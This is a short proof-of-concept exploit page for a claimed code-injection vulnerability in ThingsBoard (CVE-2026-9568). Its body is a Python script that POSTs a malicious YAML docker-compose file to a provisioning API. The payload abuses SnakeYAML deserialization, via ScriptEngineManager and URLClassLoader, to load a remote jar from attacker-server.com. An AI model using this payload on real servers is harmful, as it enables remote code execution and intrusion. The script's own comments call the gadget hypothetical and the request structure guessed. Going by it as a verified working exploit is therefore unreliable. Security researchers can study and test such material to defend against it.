CVE-2026-9568 ThingsBoard代码注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://localhost:8080/api/v1/provision" # Vulnerability: Code Injection in YAML parsing (getGatewayDockerComposeFile) # This PoC attempts to inject a payload via a malicious YAML configuration. # Note: The specific parameter structure depends on the API expectation. # Example of a malicious YAML payload targeting unsafe constructors (e.g., SnakeYAML) # This payload attempts to execute a simple command (e.g., creating a file) malicious_yaml = """ version: '3' services: exploited: image: alpine # Using a hypothetical unsafe constructor to demonstrate code injection concept # !!javax.script.ScriptEngineManager is a common payload vector in Java/YAML RCE command: !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker-server.com/exploit.jar"] ]] ] """ # Constructing the payload based on the endpoint description payload = { "deviceName": "test_gateway", "provisionDeviceKey": "secret_key", "dockerComposeFile": malicious_yaml # Injecting malicious YAML here } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check for code execution or callbacks.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")